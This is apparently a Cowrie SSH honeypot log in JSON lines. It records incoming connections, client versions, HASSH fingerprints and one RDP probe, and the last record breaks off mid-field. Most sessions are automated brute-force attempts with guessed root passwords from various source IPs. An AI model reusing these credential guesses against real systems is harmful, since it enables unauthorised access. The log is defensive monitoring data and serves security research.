{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:28.948575Z","src_ip":"193.228.128.84","session":"5073c3f09883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe456","message":"login attempt [root/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:29.651888Z","src_ip":"193.228.128.84","session":"5073c3f09883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:30.815012Z","src_ip":"193.228.128.84","session":"5073c3f09883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":39324,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d1c13ecd5f","protocol":"ssh","message":"New connection: 89.127.197.59:39324 (10.17.0.5:22) [session: 90d1c13ecd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:35.511616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:35.516333Z","src_ip":"89.127.197.59","session":"90d1c13ecd5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":22040,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf51c7df1585","protocol":"ssh","message":"New connection: 80.225.252.182:22040 (10.17.0.5:22) [session: bf51c7df1585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:35.521383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:35.528980Z","src_ip":"80.225.252.182","session":"bf51c7df1585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:35.639865Z","src_ip":"89.127.197.59","session":"90d1c13ecd5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:35.725661Z","src_ip":"80.225.252.182","session":"bf51c7df1585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"454545","message":"login attempt [root/454545] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:36.162821Z","src_ip":"89.127.197.59","session":"90d1c13ecd5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csilla","message":"login attempt [root/csilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:36.623281Z","src_ip":"80.225.252.182","session":"bf51c7df1585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:37.288605Z","src_ip":"89.127.197.59","session":"90d1c13ecd5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:37.822200Z","src_ip":"80.225.252.182","session":"bf51c7df1585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":52828,"dst_ip":"10.17.0.5","dst_port":22,"session":"9862c71ba2fc","protocol":"ssh","message":"New connection: 45.119.212.99:52828 (10.17.0.5:22) [session: 9862c71ba2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:44.484527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:44.489346Z","src_ip":"45.119.212.99","session":"9862c71ba2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:44.755024Z","src_ip":"45.119.212.99","session":"9862c71ba2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"topper","message":"login attempt [root/topper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:46.045282Z","src_ip":"45.119.212.99","session":"9862c71ba2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:47.320492Z","src_ip":"45.119.212.99","session":"9862c71ba2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40138,"dst_ip":"10.17.0.5","dst_port":22,"session":"650a2eec21a6","protocol":"ssh","message":"New connection: 103.27.238.114:40138 (10.17.0.5:22) [session: 650a2eec21a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:47.859848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:47.863042Z","src_ip":"103.27.238.114","session":"650a2eec21a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:48.127471Z","src_ip":"103.27.238.114","session":"650a2eec21a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lolita","message":"login attempt [root/lolita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:48.920388Z","src_ip":"103.27.238.114","session":"650a2eec21a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:51:50.186146Z","src_ip":"103.27.238.114","session":"650a2eec21a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45492,"dst_ip":"159.203.135.109","dst_port":22,"session":"f17026af8c96","protocol":"ssh","message":"New connection: 77.94.47.83:45492 (159.203.135.109:22) [session: f17026af8c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:03.068213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:03.073978Z","src_ip":"77.94.47.83","session":"f17026af8c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:03.199825Z","src_ip":"77.94.47.83","session":"f17026af8c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123q123","message":"login attempt [root/q123q123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:03.576663Z","src_ip":"77.94.47.83","session":"f17026af8c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:04.704517Z","src_ip":"77.94.47.83","session":"f17026af8c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":47350,"dst_ip":"10.17.0.5","dst_port":22,"session":"43086a220561","protocol":"ssh","message":"New connection: 103.249.84.242:47350 (10.17.0.5:22) [session: 43086a220561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:04.891818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:04.899285Z","src_ip":"103.249.84.242","session":"43086a220561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:05.138981Z","src_ip":"103.249.84.242","session":"43086a220561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmail","message":"login attempt [root/gmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:06.123671Z","src_ip":"103.249.84.242","session":"43086a220561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:07.365358Z","src_ip":"103.249.84.242","session":"43086a220561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52822,"dst_ip":"10.17.0.5","dst_port":22,"session":"93fb13fde282","protocol":"ssh","message":"New connection: 152.42.212.128:52822 (10.17.0.5:22) [session: 93fb13fde282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:09.543958Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:09.548454Z","src_ip":"152.42.212.128","session":"93fb13fde282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:09.551655Z","src_ip":"152.42.212.128","session":"93fb13fde282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":59176,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9aa585d03e","protocol":"ssh","message":"New connection: 189.203.163.10:59176 (10.17.0.5:22) [session: 3c9aa585d03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:13.696352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:13.701404Z","src_ip":"189.203.163.10","session":"3c9aa585d03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:13.762075Z","src_ip":"189.203.163.10","session":"3c9aa585d03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poney","message":"login attempt [root/poney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:14.035448Z","src_ip":"189.203.163.10","session":"3c9aa585d03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.246.122","src_port":54278,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc8535a2ee6","protocol":"ssh","message":"New connection: 62.210.246.122:54278 (10.17.0.5:22) [session: 2cc8535a2ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:14.860660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:14.866424Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-s